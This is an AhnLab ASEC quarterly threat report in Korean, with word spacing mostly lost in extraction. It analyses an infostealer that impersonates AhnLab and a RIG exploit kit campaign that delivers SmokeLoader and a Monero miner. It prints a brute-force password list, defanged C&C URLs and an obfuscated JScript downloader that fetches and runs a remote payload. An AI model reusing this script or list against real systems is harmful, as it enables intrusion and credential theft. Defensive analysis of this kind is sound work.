ASEC REPORT VOL 년 3 분기 ASEC(AhnLab Security Emergency response Center, 안랩시큐리티대응센터 ) 은악성코드및보안위협으로부터고객을안전하게지키기위하여보안전문가로구성된글로벌보안조직입니다. 이리포트는주식회사안

Similar documents
< 목차 > 1. 악성코드은닉동향요약 1 2. 홈페이지은닉형악성코드통계 2 - 유포지탐지 국가별현황 2 - 대량경유지가탐지된유포지 TOP 악성코드유형별비율 4 - 악성코드취약점유형별비율 4 - 악성코드수집및분석결과 5 - 경유지탐지 업종별비율 9 3. 악성코

< FBFF9B0A320BEC7BCBAC4DAB5E520C0BAB4D0BBE7C0CCC6AE20C5BDC1F620B5BFC7E220BAB8B0EDBCAD283131BFF E302028C8A8C6E4C0CCC1F620BEF7B

*2008년1월호진짜

목차 1. 개요 배경 파일정보 상세분석 SMB 취약점공격흐름 특징적인행위 대응

ASEC REPORT VOL 년 1 분기 ASEC(AhnLab Security Emergency response Center, 안랩시큐리티대응센터 ) 은악성코드및보안위협으로부터고객을안전하게지키기위하여보안전문가로구성된글로벌보안조직입니다. 이리포트는주식회사안

ActFax 4.31 Local Privilege Escalation Exploit

` 동향보고서 1. 악성코드은닉동향요약 3 2. 홈페이지은닉형악성코드통계 악성코드유포지현황 6 - 유포지탐지현황 6 - 대량경유지가탐지된유포지 TOP 악성코드취약점및취약한 S/W 악용현황 8 - 악성코드유형별비율 9 - 위협 IP 및도메인현황 10

ASEC REPORT VOL.79 July, 2016 ASEC(AhnLab Security Emergency response Center) 은악성코드및보안위협으로부터고객을안전하게지키기위하여보안전문가로구성된 글로벌보안조직입니다. 이리포트는주식회사안랩의 ASEC 에서작성하

목차 01. 개요 감염경로 워너크립터동작방식 ) 동작과정상세분석 ) 감염증상 ) 파일암호화및복호화방식 안랩대응현황 AhnLab, Inc. All rights reserved.

PowerPoint Template

월간악성코드은닉사이트탐지 동향보고서 9 월 침해대응단사이버침해대응본부

월간악성코드은닉사이트탐지 동향보고서 4 월 침해사고대응단인터넷침해대응본부

07_alman.hwp

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

DDoS 공격, 게임계정유출해커, 비트코인등가상화폐노린다 - 13 년 10 월부터 DDoS, 원격제어, 게임계정유출하더니최근암호화폐채굴 - 개요지난 13 년 10 월,Microsoft 社의인터넷익스플로러취약점 (CVE ) 을통해유포되는악성코드가 DDoS

2017 년악성코드은닉사이트탐지동향보고서 ( 상반기 ) 악성코드은닉사이트탐지 동향보고서 17 년상반기 1

Security Trend ASEC Report VOL.56 August, 2014

<BBE7B0EDB3EBC6AE5FC7E3BAEAB0D4C0D32E687770>

#WI DNS DDoS 공격악성코드분석

ASEC REPORT VOL.80 August, 2016 ASEC(AhnLab Security Emergency response Center) 은악성코드및보안위협으로부터고객을안전하게지키기위하여보안전문가로구성된 글로벌보안조직입니다. 이리포트는주식회사안랩의 ASEC 에서작

Security Trend ASEC REPORT VOL.68 August, 2015

Microsoft PowerPoint - chap01-C언어개요.pptx

ASEC REPORT VOL 년 1 분기 ASEC(AhnLab Security Emergency response Center, 안랩시큐리티대응센터 ) 은악성코드및보안위협으로부터고객을안전하게지키기위하여보안전문가로구성된글로벌보안조직입니다. 이리포트는주식회사안

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

< 목차 > 1. 악성코드은닉동향요약 1 2. 홈페이지은닉형악성코드통계 악성코드유포지현황 3 - 유포지탐지현황 3 - 대량경유지가탐지된유포지 TOP 악성코드취약점및취약한 S/W 악용현황 5 - 악성코드유형별비율 6 - 위협 IP/ 도메인현황 7 2

ASEC REPORT VOL.83 November, 2016 ASEC(AhnLab Security Emergency response Center) 은악성코드및보안위협으로부터고객을안전하게지키기위하여보안전문가로구성된 글로벌보안조직입니다. 이리포트는주식회사안랩의 ASEC 에

유포지탐지동향

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

untitled

ASEC REPORT VOL 년 4 분기 ASEC(AhnLab Security Emergency response Center, 안랩시큐리티대응센터 ) 은악성코드및보안위협으로부터고객을안전하게지키기위하여보안전문가로구성된글로벌보안조직입니다. 이리포트는주식회사안

Table of Contents 1. 분석 유포경로 악성파일분석 드롭퍼 A 분석 드롭퍼 B 분석 페이지 2 / 17

1. 제품 개요 AhnLab Policy Center 4.6 for Windows(이하 TOE)는 관리대상 클라이언트 시스템에 설치된 안랩의 안티바이러스 제품인 V3 제품군에 대해 보안정책 설정 및 모니터링 등의 기능을 제공하여 관리대상 클라이언트 시스템에 설치된 V3

< 목차 > 1. 악성코드은닉동향요약 1 2. 홈페이지은닉형악성코드통계 2 - 유포지탐지현황 2 - 대량경유지가탐지된유포지 TOP 악성코드유형별비율 4 - 악성코드취약점유형별비율 4 - 악성코드수집및분석결과 5 - 경유지탐지 업종별비율 악성코드은닉

Windows 8에서 BioStar 1 설치하기

ASEC REPORT VOL.76 April, 2016 ASEC(AhnLab Security Emergency response Center) 은악성코드및보안위협으로부터고객을안전하게지키기위하여보안전문가로구성된 글로벌보안조직입니다. 이리포트는주식회사안랩의 ASEC 에서작성

SSL Strip Attack JAC (SemiDntmd) 이우승 semidntmd.tistory.com

** 5 개이발생한주요소프트웨어별취약점세 EDB 번호취약점종류공격난이도공격위험도취약점이름소프트웨어이름

Research & Technique Apache Tomcat RCE 취약점 (CVE ) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE 취약점은 W

RHEV 2.2 인증서 만료 확인 및 갱신

ASEC REPORT VOL.81 September, 2016 ASEC(AhnLab Security Emergency response Center) 은악성코드및보안위협으로부터고객을안전하게지키기위하여보안전문가로구성된 글로벌보안조직입니다. 이리포트는주식회사안랩의 ASEC

목 차 1. 개 요 배경 요약 정보 대상시스템 원리 공격 기법 및 기본 개념 Heap Spray Font 공 격..

악성코드분석보고서 학번 작성자김진홍작성일 2015 년 5 월 14 일 Keyword Downloader, Mouse cursor modification, Registry modification 1. 개요 1.1 요약 해당악성코드는악성코드를다운로드하는역할

Microsoft PowerPoint - 권장 사양

ASEC REPORT VOL.78 June, 2016 ASEC(AhnLab Security Emergency response Center) 은악성코드및보안위협으로부터고객을안전하게지키기위하여보안전문가로구성된 글로벌보안조직입니다. 이리포트는주식회사안랩의 ASEC 에서작성하

1. 개요 전세계적으로많은피해를일으키고있는랜섬웨어는 년 월국내에 광범위하게유포되기시작하여 년에급격하게증가하였다 랜섬웨어 는이용자의데이터 시스템파일 문서 이미지등 를암호화하는악성코드로 몸값 과소프트웨어 의합성어로시스템을잠그거나 데이터를암호화해사용할수없도록하고이를인질로금전

ASEC REPORT VOL.82 October, 2016 ASEC(AhnLab Security Emergency response Center) 은악성코드및보안위협으로부터고객을안전하게지키기위하여보안전문가로구성된 글로벌보안조직입니다. 이리포트는주식회사안랩의 ASEC 에서

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

ASEC REPORT VOL 년 4 분기 ASEC(AhnLab Security Emergency response Center, 안랩시큐리티대응센터 ) 은악성코드및보안위협으로부터고객을안전하게지키기위하여보안전문가로구성된글로벌보안조직입니다. 이리포트는주식회사안

PowerPoint Presentation

Microsoft PowerPoint - 11주차_Android_GoogleMap.ppt [호환 모드]

SBR-100S User Manual

08_spam.hwp

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

untitled

Microsoft Word - windows server 2003 수동설치_non pro support_.doc

Oracle hacking 작성자 : 임동현 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용

Win-Trojan/Scar U 악성코드분석보고서 Written by extr Win-Trojan/Scar U 악성코드분석보고서 Page 1 / 14

ASEC REPORT VOL.85 January, 2017 ASEC(AhnLab Security Emergency response Center) 은악성코드및보안위협으로부터고객을안전하게지키기위하여보안전문가로구성된글로벌보안조직입니다. 이리포트는주식회사안랩의 ASEC에서작성

5th-KOR-SANGFOR NGAF(CC)

1. 배경 업무 내용이나 개인정보가 담긴 청구서 등을 메일로 전달 시 중요한 정보가 유출되는 경우가 발생하고 있으며, 이에 따른 메일 암호화 솔루션을 도입하고 있으나 기존 ActiveX를 기반으로 한 플러그인 방식은 여러 가지 제약으로 인해 사용성이 저하되고, 고객 대

Microsoft Word - src.doc

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

SBR-100S User Manual

untitled

로거 자료실

#HNS-WI 북한의심 APT 공격에대한 Kaspersky 의분석정리

EDB 분석보고서 (04.06) ~ Exploit-DB( 에공개된별로분류한정보입니다. Directory Traversal users-x.php 4.0 -support-x.php 4.0 time-

슬라이드 1

[ 악성코드상세분석보고서 ] SK 커뮤니케이션즈해킹관련상세분석보고서 nateon.exe 대응 2 팀

Secure Programming Lecture1 : Introduction

< F33BFF920C0CEC5CDB3DD20C4A7C7D8BBE7B0ED20B5BFC7E220B9D720BAD0BCAEBFF9BAB828C3D6C1BEBABB292E687770>

< 목차 > 1. 악성코드은닉동향요약 1 2. 홈페이지은닉형악성코드통계 2 - 유포지탐지 국가별현황 2 - 대량경유지가탐지된유포지 TOP 악성코드유형별비율 4 - 악성코드취약점유형별비율 4 - 악성코드수집및분석결과 5 - 경유지탐지 업종별비율 13 - 경유지

월간 CONTENTS 3 EXPERT COLUMN 영화 오블리비언과 C&C 서버 4 PRODUCT ISSUE 안랩, 새로워진 'V3 모바일 시큐리티' 출시 고도화되는 모바일 위협, 해답은? 6 SPECIAL REPORT 유포 방법에서 예방까지 모바일 랜

Microsoft PowerPoint Android-SDK설치.HelloAndroid(1.0h).pptx

Windows Server 2012

슬라이드 1

Dropbox Forensics

ASEC Report VOL.53 May, 2014 ASEC(AhnLab Security Emergency response Center) 은악성코드및보안위협으로부터고객을안전하게지키기위하여보안전문가로구성된 글로벌보안조직입니다. 이리포트는주식회사안랩의 ASEC 에서작성하며

Eclipse 와 Firefox 를이용한 Javascript 개발 발표자 : 문경대 11 년 10 월 26 일수요일

개인정보보호의 이해 및 안전한 관리 - 개인PC 및 스마트폰 개인정보보호-

<4D F736F F F696E74202D E20C0CEC5CDB3DD20C0C0BFEB20B9D720BCADBAF1BDBA20B1E2BCFA E >

슬라이드 1

1. Windows 설치 (Client 설치 ) 원하는위치에다운받은발송클라이언트압축파일을해제합니다. Step 2. /conf/config.xml 파일수정 conf 폴더에서 config.xml 파일을텍스트에디터를이용하여 Open 합니다. config.xml 파일에서, 아

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

server name>/arcgis/rest/services server name>/<web adaptor name>/rest/services ArcGIS 10.1 for Server System requirements - 지

ASEC REPORT VOL.71 November, 2015 ASEC(AhnLab Security Emergency response Center) 은악성코드및보안위협으로부터고객을안전하게지키기위하여보안전문가로구성된 글로벌보안조직입니다. 이리포트는주식회사안랩의 ASEC 에

BEA_WebLogic.hwp

(Microsoft PowerPoint - NRMWFKPIIYBC [\310\243\310\257 \270\360\265\345])

ASEC REPORT VOL 년 3 분기 ASEC(AhnLab Security Emergency response Center, 안랩시큐리티대응센터 ) 은악성코드및보안위협으로부터고객을안전하게지키기위하여보안전문가로구성된글로벌보안조직입니다. 이리포트는주식회사안

1. What is AX1 AX1 Program은 WIZnet 사의 Hardwired TCP/IP Chip인 iinchip 들의성능평가및 Test를위해제작된 Windows 기반의 PC Program이다. AX1은 Internet을통해 iinchip Evaluation

1. 자바프로그램기초 및개발환경 2 장 & 3 장. 자바개발도구 충남대학교 컴퓨터공학과

< FBBE7B0EDB3EBC6AE5FB5F0C6FAC6AEC6D0BDBABFF6B5E5C3EBBEE0C1A128BCF6C1A4292E687770>

고객 사례 | Enterprise Threat Protector | Akamai

Android Master Key Vulnerability

<31305FBEC6C0CCC5DB2E687770>

AhnLab_template

< FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>

1. 제품 개요 WeGuardia WIPS V2.0(이하 TOE)은 특정 조직에서 운영되는 무선랜에 대한 지속적인 모니터을 통해 내 외부로부터 발생할 수 있는 각종 침입을 탐지 및 차단하여 내부의 네트워크를 보호하는 무선침입방지시스템이다. TOE의 세부 식별자 및 배포

Transcription:

ASEC REPORT VOL.92 2018 년 3 분기 ASEC(AhnLab Security Emergency response Center, 안랩시큐리티대응센터 ) 은악성코드및보안위협으로부터고객을안전하게지키기위하여보안전문가로구성된글로벌보안조직입니다. 이리포트는주식회사안랩의 ASEC에서작성하며, 주요보안위협과이슈에대응하는최신보안기술에대한요약정보를담고있습니다. 더많은정보는안랩닷컴 (www. ahnlab.com) 에서확인하실수있습니다. 2018 년 3 분기보안동향 Table of Contents 보안이슈 SECURITY ISSUE 시스템및계정정보탈취하는인포스틸러 악성코드 04 악성코드상세분석 ANALYSIS-IN-DEPTH 리그익스플로잇킷을이용한암호화폐채굴 악성코드 12 ASEC REPORT Vol.92 Security Trend 2

보안이슈 SECURITY ISSUE 시스템및계정정보탈취하는 인포스틸러악성코드

시스템및계정정보 보안이슈 Security Issue 탈취하는인포스틸러 악성코드 2018 년 3 분기에도감염시스템의정보유출을목적으로하는 인포스틸러 (Infostealer) 류의악성코 드가다수확인되었다. 인포스틸러악성코드는감염시스템의로그인계정정보와웹브라우저, FTP 등의응용프로그램에대한정보를탈취한다. 지난 3분기에유포된다수의인포스틸러악성코드중파일의등록정보를신뢰할수있는업체의것으로위장하여유포된사례가발견됐다. 안랩시큐리티대응센터 (AhnLab Security Emergencyresponse Center, 이하 ASEC) 의분석결과, 해당인포스틸러악성코드의형태와주요기능은지난 2015 년에발견된것과동일하지만보안솔루션의탐지를피하기위해더욱고도화된것으로확인됐다. 이보고서에서는신뢰할수있는업체를사칭해시스템 ( 사용자 ) 정보탈취를시도하는인포스틸러악 성코드의유포방식과주요기능, 대응방안을상세히살펴본다. 01. 유포방식 [ 그림 1-1] 은시스템정보를탈취하는악성파일의등록정보로, 공격자는국내사용자들에게익숙한안랩 (AhnLab) 의프로그램인것처럼위장했다. 해당파일의정확한유포방식은확인되지않았다. 그러나지난 2015년에발견된인포스틸러악성코드는메일의첨부파일형태로워드문서파일이나화면보호기파일 (*.scr 확장자 ) 등으로유포된바있다. ASEC REPORT Vol.92 Security Trend 4

해당파일은 aplib라는오픈소스알고리즘을사용하여주요코드들이패킹 (Packing) 되어있으며, [ 그림 1-1] 에서볼수있는것처럼비주얼베이직 6.0(Visual Basic 6.0) 프로그램을이용해제작됐다. 비주얼베이직컴파일러를사용했기때문에정적분석만으로는악성여부를판단하기어려운구조를갖고있다. 최근비주얼베이 그림 1-1 악성코드등록정보및외형정보 직 6.0 프로그램으로제작된악성코드가종종확 인되고있는데, 이는보안솔루션의탐지를피하고코드를은닉하기위함이다. 대표적으로헤르메스 (Hermes) 랜섬웨어나갠드크랩 (GandCrab) 랜섬웨어등을예로들수있다. 한편, 비주얼베이직 6.0 프로그램으로제작된이악성파일내부에는 포니 (Pony) 와 로키 - 봇 (Loki-Bot) 등의이름으로알려진계정정보탈취 (Infostealer) 기능이존재한다. 02. 주요기능및동작방식 1) 윈도우로그인정보탈취윈도우로그인정보를탈취하는인포스틸러는사용자의윈도우로그인계정및 Guest, Administrator 등운영체제에등록된계정별목록 (NetUserEnum) 정보를읽어온다. 이후 LogonUserA 라는 API를사용하여 [ 그림 1-2] 와같이악성코드내부에저장된패스워드리스트들을대입하는방식으로공격을시도한다. 그림 1-2 Guest 계정에 12345 패스워드대입 ASEC REPORT Vol.92 Security Trend 5

[ 표 1-1] 은해당인포스틸러가대입하는패스워드리스트를정리한것이다. 000000 angel george jesus1 rotimi tigger corvette michael 1111 angels ginger nicole rotimi trinity creative michelle 11111 anthony google nintendo samantha trustno1 creative mickey 111111 apple grace nothing secret viper dakota monkey 123123 asdf guitar online shadow welcome daniel mother 1234 asdfgh hahaha orange shalom whatever diamond muffin 12345 ashley hannah pass silver william digital mustang 123456 asshole happy passw0rd single winner dragon myspace1 1234567 austin harley password slayer wisdom eminem 12345678 bailey heaven password1 slayer wisdom enter 123456789 bandit hello peace smokey benjamin jordan 123abc baseball hello1 peanut snoopy biteme joseph 1q2w3e batman helpme pepper soccer blahblah joshua 654321 faith hockey phpbb soccer1 blessed junior 666666 foobar hope pokemon sparky blessing justin 7777 foobar hunter poop spirit buster killer 7777777 football iloveyou power starwars canada knight aaaaaa forever iloveyou! princess summer charlie letmein abc123 freedom iloveyou1 purple sunshine cheese looking adidas friends iloveyou2 qazwsx superman chicken love adidas fuckyou internet qwerty taylor chris lovely admin fuckyou1 jasmine qwerty1 test christ lucky amanda gateway jennifer rachel testing compaq maggie andrew genesis jessica rainbow thomas computer master matthew merlin jesus robert thunder cookie matrix 표 1-1 공격시대입하는패스워드리스트 2) 브라우저및응용프로그램로그인정보탈취인포스틸러악성코드는윈도우로그인정보뿐만아니라브라우저에저장된로그인정보파일에접근해특정 URL에대한사용자의아이디와비밀번호정보를유출하는기능을갖고있다. [ 그림 1-3] 은악성코드내부에유출대상이 되는응용프로그램목록이다. 일반적으로많이 그림 1-3 계정탈취대상프로그램목록 ASEC REPORT Vol.92 Security Trend 6

사용하는인터넷익스플로러 (Internet Explorer), 파이어폭스 (FireFox), 크롬 (Chrome), 오페라 (Opera) 등의웹브라우저뿐아니라다양한 FTP 및원격제어프로그램들이유출대상에포함되 어있다. 파이어폭스브라우저의경우, [ 그림 1-4] 와같이 SHRegGetValueW API 인자로레지스트리의 내용을통해프로그램경로및버전을확인하는루틴이존재하는것을확인했다. 이는파이어폭스 의복호화루틴이다른브라우저들과상이하다는것을의미한다. 그림 1-4 프로그램경로및버전확인하는루틴 또한파이어폭스브라우저의버전이 32.0 미만인경우 [ 그림 1-5] 와같이악성코드내부에저장된 쿼리 (Query) 문을이용해암호화된내용을가져오고 sqlite3.dll, mozsqlite3.dll, nss3.dll 의 API 를사용해복호화시킨다. 그림 1-5 쿼리문및복호화된 ID 정보 ( 파이어폭스버전 32.0 미만인경우 ) ASEC REPORT Vol.92 Security Trend 7

ASEC 분석결과, 크롬브라우저의경우에도위와유사한동작을반복하면 [ 그림 1-6] 과같이모두 복호화된다. 현재최신버전인파이어폭스브라우저 63.0 버전에서는사용자정보저장방식이변경됨에따라 (signons.sqlite logins.json) 위와같은공격기법이더이상유효하지않음이확인되었다. 그러나복호화툴이이미인터넷에공개되어있어향후추가변종이나타날가능성이있는만큼, 최신버전의브라우저를사용하는경 그림 1-6 브라우저별계정정보탈취 우라도사용자의주의가요구된다. 3) FTP 정보탈취이번에발견된인포스틸러악성코드는윈도우로그인정보와브라우저의계정정보뿐만아니라 FTP 클라이언트의세션값이들어있는기본디렉토리에접근하여세션정보를탈취한다. 국내업체에서제작한원격접속프로그램인 XFTP 프로그램이 5버전이하인경우, [ 그림 1-7] 과같이기본디렉토리를고정한뒤 xfp 확장자파일을읽어오는것을확인했다. (*.xfp : XFTP의세션값정보파일 ) 분석결과, 현재배포된 XFTP 6버전부터는세션값의기본경로가 Documents\Net- Sarang Computer\6\Xftp\Sessions 로변경되어해당공격기법이유효하지않음이확인 되었다. 그림 1-7 Xftp 정보유출관련 ASEC REPORT Vol.92 Security Trend 8

03. 탈취정보전송 인포스틸러악성코드는최종적으로유출한사용자정보들을 C&C 서버로전송한다. [ 그림 1-8] 은 C&C 서버로전송된통신패킷의일부이다. 그림 1-8 C&C 서버와의통신패킷 또한해당악성코드가접속한 C&C 서버는 [ 표 1-2] 와같이정상 URL 인 1)singatrading.com 과 2)xsftruss.com 과유사하게제작되었음이확인됐다. 정보탈취악성코드 포니 (Pony) 로키 - 봇 (Loki-Bot) C&C 서버주소 hxtp://singatradeing.com/kml/coreserver/gate.php hxtp://xsftruss.ml/kceenewold/fre.php 표 1-2 C&C 서버 04. 대응방안 V3 제품군에서는해당인포스틸러악성코드를다음과같은진단명으로탐지하고있다. <V3 제품군진단명 > - Trojan/Win32.Inject (2018.08.16.03) - Trojan/Win32.Kryptik (2018.08.16.04) ASEC REPORT Vol.92 Security Trend 9

- Trojan/Win32.Cloxer (2018.06.16.06) 최근안랩을비롯해신뢰할수있는업체를사칭하거나유명프로그램으로위장한악성코드가지속 적으로유포되고있다. 이번에발견된인포스틸러악성코드사례에서볼수있는것처럼파일의등 록정보에신뢰할수있는업체명등이포함되어있는경우에도사용자의각별한주의가필요하다. 이러한인포스틸러악성코드로인한피해를예방하기위해서는평소에도개인정보유출에유의해 야한다. 특히시스템비밀번호설정시단조로운숫자나열등의방식은지양해야한다. 또한앞서살펴본바와같이인포스틸러악성코드는브라우저의취약점을이용하는것이아니라브라우저내부의로그인정보파일에접근해저장된아이디와패스워드를유출한다. 따라서인포스틸러가개인정보를탈취하는것을미연에방지하려면웹페이지로그인시아이디와패스워드등의계정정보를저장하여자동으로입력해주는자동완성기능을사용하지않는것이바람직하다. ASEC REPORT Vol.92 Security Trend 10

악성코드 상세분석 ANALYSIS-IN-DEPTH 리그익스플로잇킷을이용한 암호화폐채굴악성코드

리그익스플로잇킷을 악성코드상세분석 Analysis-In-Depth 이용한암호화폐채굴 악성코드 지난연말부터사용자몰래시스템의리소스를이용해암호화폐 (Cryptocurrency, 가상화폐 ) 를채굴 (Mining) 하는, 이른바마이너 (Miner) 악성코드가지속적으로증가하고있다. 최근에는랜섬웨어제작및유포에도이용된바있는리그익스플로잇킷 (RIG Exploit Kit) 과스모크로더 (SmokeLoader) 를이용한암호화폐채굴악성코드가확인됐다. 리그익스플로잇킷은다양한취약점을이용하여악성프로그램을유포하는기능을제공한다. 스모크로더는 C&C 서버를통해공격자의명령에따라추가악성코드를다운로드하는악성코드로, 초기에는정보유출을목적으로했으나이후랜섬웨어를다운로드한데이어최근에는암호화폐채굴악성코드를다운로드하고있다. 안랩시큐리티대응센터 (ASEC) 는리그익스플로잇킷을이용한암호화폐채굴악성코드의취약점공 격부터쉘코드동작등일련의공격과정을상세히분석했다. 01. 유포방식공격자는암호화폐중하나인모네로 (Monero) 를채굴하기위해리그익스플로잇킷과인터넷익스플로러 (IE) 의 CVE-2018-8174 취약점을이용해암호화폐채굴악성코드를유포했다. CVE-2018-8174 취약점은윈도우 VB 스크립트엔진의원격코드실행취약점으로, 최근악용사례가빈번하게보고되고있다. ASEC REPORT Vol.92 Security Trend 12

이번에발견된암호화폐채굴악성코드의경우, 보안이취약한웹사이트나온라인광고사이트를악 용하는멀버타이징 (Malvertising) 기법을이용해스모크로더를다운로드및실행하여모네로채굴프 로그램 (Monero Miner) 을추가로설치해암호화폐를채굴했다. 해당악성코드의전체적인동작방식은 [ 그림 2-1] 과같다. 02. 동작과정 1) 리그익스플로잇킷 (RIG Exploit Kit) 을이용한취약점공격사용자가최신보안패치가적용되지않은웹브라우저를이용해손상된웹사이트에접속하거나안전하지않은광고페이지를접속하면 CVE-2018-8174 취약점을이용해공격이시도된다. 공격과정 그림 2-1 암호화폐채굴악성코드공격과정 은 [ 그림 2-2] 와같이총 4 단계로진행된다. 1 단계 : 랜딩페이지 (Landing page) 로이동 HTTP 헤더에포함된로케이션 (Location) 정보에 의해자동으로 http://kronstic.bid 로이동한다. 2 단계 : 취약점공격사이트이동 http://kronstic.bid 에서수신한 HTML 에 는 <iframe src=http://188.225.47.175/?... width= 1 height= 1 style= position:ab- 그림 2-2 취약점공격과정 ASEC REPORT Vol.92 Security Trend 13

solute:left:-1px; ><iframe> 과같은 <iframe> 태그가포함되어있다. 해당태그에의해사용자화 면에보이지않게취약점공격사이트 (http://188.225.47.175) 에접속한다. 3단계 : 취약점공격명령실행취약점공격사이트에서수신한 HTML에는취약점공격효과를높이기위해 CVE-2018-8174, CVE- 2018-4878, CVE-2016-0189 취약점을공격하는 3개의공격코드가모두포함되어있다. 각공격코드는순차적으로실행되며, 해당취약점과관련된패치가적용되어있지않은경우해당취약점이발현되어악성파일을다운로드하고실행하는쉘코드가실행된다. 4단계 : 취약점공격파일다운로드및실행 3가지취약점중 CVE-2018-4878 은어도비플래시플래이어 (Adobe Flash Player) 의취약점으로, 이를이용한공격시플래시파일이추가로필요하다. 따라서이파일을취약점공격사이트에서추가로다운로드하고실행한다. [ 그림 2-3] 은 CVE-2018-4878 취약점공격과정이다. 그림 2-3 CVE-2018-4878 취약점공격과정 ASEC REPORT Vol.92 Security Trend 14

2) 스모크로더 (SmokeLoader) 다운로드및실행앞서살펴본과정을거쳐취약점공격에성공하여웹브라우저제어가가능해지면, 웹브라우저에서쉘코드를실행하여스모크로더악성파일을다운로드하고실행한다. 쉘코드는각취약점별로제작되어있다. [ 그림 2-4] 는 CVE-2018-8174 취약점공격에사용된쉘코드의모습이다. 그림 2-4 CVE-2018-8174 취약점공격에사용된쉘코드 이쉘코드가실행되면 [ 그림 2-5] 와같이스크 립트정보를인수로포함한 CMD 프로그램이실 행된다. CMD 프로그램이실행되면 [ 그림 2-6] 과같이추가로실행될스크립트명령을 %TEMP%\T32. tmp 파일에저장하고, WSCRIPT(Windows Script) 프로그램을이용하여파일을실행한다. 해당스크립트명령에는스모크로더악성프로그 램을웹서버에서다운로드하고실행하는명령이 포함되어있다. 그림 2-5 쉘코드에의해 CMD 프로그램이실행되는모습 ASEC REPORT Vol.92 Security Trend 15

function _(k,e){for(var l=0,n,c=[],f=255,s=string,q=[],b=0;256^>b;b++)c[b]=b;ta="char"+"codeat";for(b=0;256^>b;b++)l=l+c[b]+e[ta](b%e.le ngth)^&f,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&f,l=l+c[b]^&f,n=c[b],c[b]=c[l],c[l]=n,q.push(s.fromcharcode(k. charcodeat(p)^^c[c[b]+c[l]^&f]));return q["join"]("")};/**/function V(k){var y=a(e+"."+e+/**/"reques\x74.5.1");t="g";y["se"+"tproxy"] (n);y["o"+"pen"](t+"et",k(1),1);y.option(n)=k(2);y.send();y["wai"+"tforresponse"]();w="respo"+"nsetext";if(40*5==y.status)return _ (y[w],k(n))};try{m="wsc";u=this[m+"ript"],o="object";p=(""+u).split(" ")[1],M="indexOf",m=u.Arguments,e="WinHTTP",Z="cmd",U=" DEleTefIle",a=Function/**/("QW","return u.create"+o+"(qw)"),q=a(p+"ing.filesystem"+o),s=a("ado"+"db.stream"),j=a("w"+p+". Shell"),x="b"+Math.floor(Math.random() * 57)+".",p="exe",n=0,K=u[P+"FullName"],E="."+p;s.Type=2;s.Charset="iso-8859-1";try{v=V(m)} catch(w){v=v(m)};q="pe\x00\x00";d=v.charcodeat(21+v[m](q));s.open();h="dll";if(037^<d){var z=1;x+=h}else x+=p;s.writetext(v);s. savetofile(x,2);c=" /c ";s.close();i="regs";z^&^&(x=i+"vr32"+e+" /s "+x);j["run"](z+e+c+x,0)}catch(ee){};q[u](k); 그림 2-6 쉘코드에의해실행되는스크립트명령 3) 스모크로더의모네로채굴프로그램 (Monero Miner) 다운로드쉘코드에의해실행되는스크립트는스모크로더를다운로드하고실행한다. 스모크로더는자신을레지스트리에등록시켜시스템을다시시작하더라도자동으로실행되도록하며, 주기적으로 C&C 서버에접속하여새로운악성파일을다운로드하고실행하는기능을가지고있다. 해당스모크로더는 NSIS 인스톨러로제작되었으며, 실행후다음과같이동작한다. (a) 실행환경검사 다음의조건을검사하여자신의실행을중단하거나대상프로그램을종료시킨다. - 윈도우버전검사 윈도우비스타 (Windows Vista) 이하의운영체제에서실행중이면자신을종료한다. - 가상머신 (Virtual Machine) 여부검사 HKLM\System\CurrentControlSet\Service\Disk\Enum\0 의값에 VMWARE, VIRTUAL, QEMU, ZEN 값이포함되었으면가상머신으로판단하고자신을종료한다. ASEC REPORT Vol.92 Security Trend 16

- 분석프로그램실행여부검사 OllyDbg, Process Explorer, Process Monitor, WinDbg, Cain & Abel, TCPView, Portmon, Wireshark 등분석프로그램의실행여부를프로세스목록및윈도우클래스 (Window Class) 목록에서확인한후대상프로그램을종료시킨다. (b) 자가복제 자신의파일을 %APPDATA%\Microsoft\Windows\[ 랜덤경로 ]\[ 랜덤파일명 ].exe 경로에복제한다. (c) 자동실행등록자동실행폴더에링크파일 (.LNK) 을생성하여, 시스템재부팅이후에도복제된파일이자동으로동작할수있게등록한다. %APPDATA%\Microsoft\Windows\Start Menu\programs\startup\[ 랜덤파일명 ].lnk (d) 인터넷접속가능여부확인 http://www.mfstncsi.com/nscsi.txt 에접속을시도하여인터넷접속이가능한지확인한다. 접속 이불가능한경우 6 초대기후재접속을반복한다. (e) 신규악성프로그램다운로드 C&C 서버 (http://vnz.bit) 에접속하여신규악성프로그램을 %TEMP%\[ 랜덤경로 ]\wuauclt.exe 경로에다운로드하고실행한다. 최초 C&C 서버접속시에는 [ 그림 2-7] 과같이 POST 메소드로실행된시스템의디스크볼륨시리얼번호 (Disk Volume Serial Number), 윈도우버전 (Windows Version), 프로세스무결성수준 (Process Integrity Level) 등의정보를 RC4 알고리즘으로암호화하여전달한다. ASEC REPORT Vol.92 Security Trend 17

